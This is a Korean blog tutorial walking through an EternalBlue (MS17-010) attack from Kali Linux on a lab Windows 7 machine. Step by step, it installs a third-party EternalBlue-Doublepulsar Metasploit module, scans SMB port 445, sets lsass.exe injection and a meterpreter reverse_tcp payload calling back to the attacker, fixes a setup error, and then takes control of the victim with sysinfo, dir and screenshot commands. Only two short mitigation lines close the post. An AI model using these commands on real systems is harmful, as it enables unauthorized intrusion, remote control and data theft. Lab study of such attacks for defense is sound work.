반응형
SMALL

이터널블루는 Shadow Brokers 해킹 그룹에 의해 유출된 미국 국가 안보국의 해킹 도구 중 하나다. 윈도우가 설치된 시스템에 파일 공유, 원격 코드 실행, 프린트 공유 등을 목적으로 한 SMB 프로토콜 원격코드 실행 취약점(MS17-010)을 이용한다. 또한 2017년 5월 12일에는 전 세계 워너크라이 랜섬웨어 공격에도 이용되기도 했다. SMB 프로토콜은 TCP 포트 445에서 실행된다.

 

1. 이터널 블루 설치

그림 1-1 이터널 블루 설치

 

칼리 리눅스를 실행하고 git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git 명령어를 입력하고 이터널 블루를 설치한다.

 

그림 1-2 설치 완료

 

이터널 블루가 설치되면 Eternalblue-Doublepulsar-Metasploit 폴더가 생기고 Eternalblue-Doublepulsar-Metasploit 폴더 안을 보면eternalblue-doublepulsar.rb라는 루비로 만들어진 파일이 있다는 것을 확인할 수 있다.

 

그림 1-3 eternalblue-doublepulsar.rb 이동

이제 eternalblue-doublepulsar.rb 파일을 복사해서 메타스플로잇 프레임워크에 추가한다. cp eternalblue_doublepulsar.rb /usr/share/Metasploit-framework/modules/exploits/windows/smb/ 명령어를 입력하게 되면 eternalblue_doublepulsar.rb의 복사된 파일이 해당 경로의 메타스플로잇 프레임워크에 추가된다.

 

2. 취약점 실습 환경 구성

사용 환경

OS 및 IP 주소

공격자 PC

Kali-linux 2019.02

IP 주소: 192.168.171.166

희생자 PC

Window 7 x64

IP 주소: 192.168.171.167

 

3. 취약점 공격 수행

그림 3-1 nmap 실행

 

nmap을 실행해 window 7의 smb 포트(445/tcp microsoft-ds)가 열려 있는지 확인한다. TCP half open 스캔 결과 희생자 PC(window 7)에 smb 포트가 열려있다는 것을 확인할 수 있다.

그림 3-2 메타스플로잇 실행

공격자 PC인 칼리리눅스에서 공격을 위해 메타스플로잇을 실행한다. postgresql을 실행하고 msfconsole 명령어를 입력하면 메타스플로잇이 실행된다.

그림 3-4 smb_ms17_010 모듈 실행

smb 취약점을 확인하기 위해 smb_ms17_010 모듈을 실행한다. use auxiliary/scanner/smb/smb_ms17_010을 입력하면 모듈 실행이 가능하며 show options 명령어를 입력하면 그에 따른 옵션들의 확인이 가능하다.

 

그림 3-5 smb 취약점 여부 확인

smb_ms17_010 모듈이 실행된 상태에서 희생자 PC의 smb 취약점 여부를 확인하기 위해 희생자 PC의 IP를 set하고 run 명령어를 입력해 실행한다. run 명령어 실행 결과 현재 희생자 PC에는 MS17-010 취약점이 있다고 메시지가 나오게 된다. 반드시 그림 3-5와 같이 취약점이 생겨야 공격이 가능하기 때문에 환경 설정이 중요하다.

 

그림 3-6 이터널블루-더블펄서 모듈 실행

이제 exploit을 위해 이터널블루-더블펄서 모듈을 실행한다. use exploit/windows/smb/eternalblue-doublepulsar 명령어를 입력해 이터널블루-더블펄서를 실행한 후 show options를 입력해 해당 모듈의 옵션들을 확인해준다.

그림 3-7 옵션 지정

이터널블루-더블펄서 모듈을 실행하고 exploit을 위해 각각의 옵션을 지정한다. doublepulsarpath, eternalbluepath는 기본적으로 설정되어 있기 때문에 그림 3-7처럼 그대로 두고 다른 옵션을 지정하면 된다. 사용되는 명령어는 다음과 같다.

명령어 정의
set processinject lsass.exe 주입할 프로세스 파일 지정, x64는 lsass.exe 사용
set rhost IP 주소 공격대상 IP 지정
set targetArchitecture x64 공격대상 아키텍쳐 지정
set target 8 공격 대상 OS 환경 지정
set payload windows/x64/meterpreter/reverse_tcp 페이로드 생성

 

그림 3-8 공격 실행

payload 옵션에서 lhost를 지정한다. lhost는 공격자의 IP를 지정하면 되고 지정된 후 exploit을 실행한다. 공격이 성공적으로 실행되면 그림 3-8과 같이 Pwned! Eternalblue success! 메시지가 나오면서 Meterpreter 세션을 open하면서 희생자 PC와 연결된다. 여기서 한가지 변수가 있을 수 있는데 /root/.wine/drive_c/와 관련해서 에러가 발생할 수 있는데 이 땐 root에 .wine 이름으로 폴더를 만들고 .wine 폴더 안에 drive_c 이름으로 폴더를 만들고 다시 exploit을 실행하면 에러 없이 공격이 가능해진다.

 

그림 3-9 희생자 PC 제어

meterpreter 세션이 연결되고 희생자 PC의 제어가 가능하다. sysinfo 명령어를 실행하면 현재 희생자 PC의 환경, 아키텍쳐, 컴퓨터 이름 등을 확인할 수 있고 dir 명령어를 입력해 실행하면 현재 컴퓨터 안에 있는 파일들이 어떤게 있는지 확인이 가능하다. 만약 여기에 중요 파일이 있다면 2차적인 피해가 일어날 수 있다.

그림 3-10 스크린 샷

이번엔 screenshot 명령어를 사용해서 희생자 PC를 캡쳐한 결과다. 이렇듯 smb 포트 취약점 하나만으로도 여러가지 피해가 발생할 수 있다.

 

4. 보안 대책

- Window 7 이상의 운영체제로 버전을 업그레이드하고 최신 보안 패치를 적용한다.

- 네트워크 방화벽이나 window 방화벽을 활용해서 SMB 관련 포트 차단(방화벽 설정을 활용해 SMB 포트 비활성화)

반응형
LIST
블로그 이미지

만년필석사

,